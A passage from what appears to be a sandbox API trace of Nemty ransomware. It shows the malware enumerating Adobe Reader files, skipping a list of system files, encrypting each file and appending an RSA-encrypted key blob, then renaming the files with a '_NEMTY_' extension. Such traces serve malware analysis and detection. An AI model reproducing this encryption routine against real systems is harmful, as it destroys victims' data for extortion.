dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0170.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0170.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.433] Sleep (dwMilliseconds=0x5) [0170.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x193d33f0, dwHighDateTime=0x1d561e8)) [0170.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x193d33f0, dwHighDateTime=0x1d561e8)) [0170.443] GetLastError () returned 0x0 [0170.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.444] GetLastError () returned 0x0 [0170.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.444] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.444] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.444] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.444] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="WaaI+KzM9J4gNop4jqoE1fO8SxhJ8SEMNV8LwinHnIT60cMO/3Dg/YJ3ihHMjWo6\r\nrHVW5AvAM5eRZ8mbRodjXf+z4I38xYJiIPDY66TxDD/PdwKDsp0FU+HgNY070HWm\r\nSXuZfJWazrAK6YLII4k9yRyyTUmq5d2iBQJuNuxEvKNMlm5JSVKnpIg4NWFIq+vn\r\nkH1bHbpjPSQNbwfAplJTBvLQDdX6Nor68Rv5vZV1Cg7QHjwum0T3g9qvmE6vfZjB\r\n1yCbq+0VWgGQd0ra87oKapvCPFDYm5lmHGtYyNvIy4DnSxkcl7mlcZFaOiADukLc\r\nGTi6Ts6g1bvjVzD2wpSViw==\r\n", pcchString=0x653e91c) returned 1 [0170.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.444] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.444] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.444] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.445] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.446] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.447] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.447] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.447] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.447] CloseHandle (hObject=0x254) returned 1 [0170.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.447] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hun._nemty_kgobjgd_")) returned 1 [0170.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.448] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.ITA", cAlternateFileName="")) returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="..") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="...") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="windows") returned -1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="$RECYCLE.BIN") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="rsa") returned -1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="NTDETECT.COM") returned -1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="ntldr") returned -1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="MSDOS.SYS") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="IO.SYS") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="boot.ini") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="boot.ini") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="ntuser.dat") returned -1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="desktop.ini") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="CONFIG.SYS") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="RECYCLER") returned -1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="BOOTSECT.BAK") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="bootmgr") returned 1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="programdata") returned -1 [0170.448] lstrcmpiW (lpString1="nppdf32.ITA", lpString2="appdata") returned 1 [0170.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0170.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0170.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0170.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0170.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.449] Sleep (dwMilliseconds=0x5) [0170.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x193f9550, dwHighDateTime=0x1d561e8)) [0170.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x193f9550, dwHighDateTime=0x1d561e8)) [0170.459] GetLastError () returned 0x0 [0170.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.459] GetLastError () returned 0x0 [0170.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.459] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.459] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.459] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.459] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="ZO5XIaLiieysLhdBINzxCVqspfnTcTQxfSNWD1KH64Ybq8vBmULx/iF30CaM3U61\r\nOmTmIAHs7vrIQoTb8Yan9s+TQmY4g94oyxTuDqYodYrKBj6KwprTC2HPmEuoEEKI\r\n3LbZzgKAzQPrefX0vFEty2zrYI1VUUfunUKbhUm6sEQovXWVNyQycSIcoMYKI9T9\r\nzTz6W/yqTUToG/2Lul+iqGqhKOzKEMMmvcbulHmORYF6GoXuE/U6yOfVEZKOI3AA\r\n67TAxkaYb019xxYVa6H06uk0wXvIcacdb9enaWGcWji79bl5nBU3WUuErkVClonK\r\n2JlcmLl77oXF9l/U3JtjCw==\r\n", pcchString=0x653e91c) returned 1 [0170.459] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.460] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.460] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.460] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.460] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.462] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.462] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.462] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.462] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.462] CloseHandle (hObject=0x254) returned 1 [0170.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.463] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ita._nemty_kgobjgd_")) returned 1 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.463] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.JPN", cAlternateFileName="")) returned 1 [0170.463] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".") returned 1 [0170.463] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="..") returned 1 [0170.463] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="...") returned 1 [0170.463] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="windows") returned -1 [0170.463] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="$RECYCLE.BIN") returned 1 [0170.463] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="rsa") returned -1 [0170.463] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="NTDETECT.COM") returned -1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="ntldr") returned -1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="MSDOS.SYS") returned 1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="IO.SYS") returned 1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="boot.ini") returned 1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="boot.ini") returned 1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="ntuser.dat") returned -1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="desktop.ini") returned 1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="CONFIG.SYS") returned 1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="RECYCLER") returned -1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="BOOTSECT.BAK") returned 1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="bootmgr") returned 1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="programdata") returned -1 [0170.464] lstrcmpiW (lpString1="nppdf32.JPN", lpString2="appdata") returned 1 [0170.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0170.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, 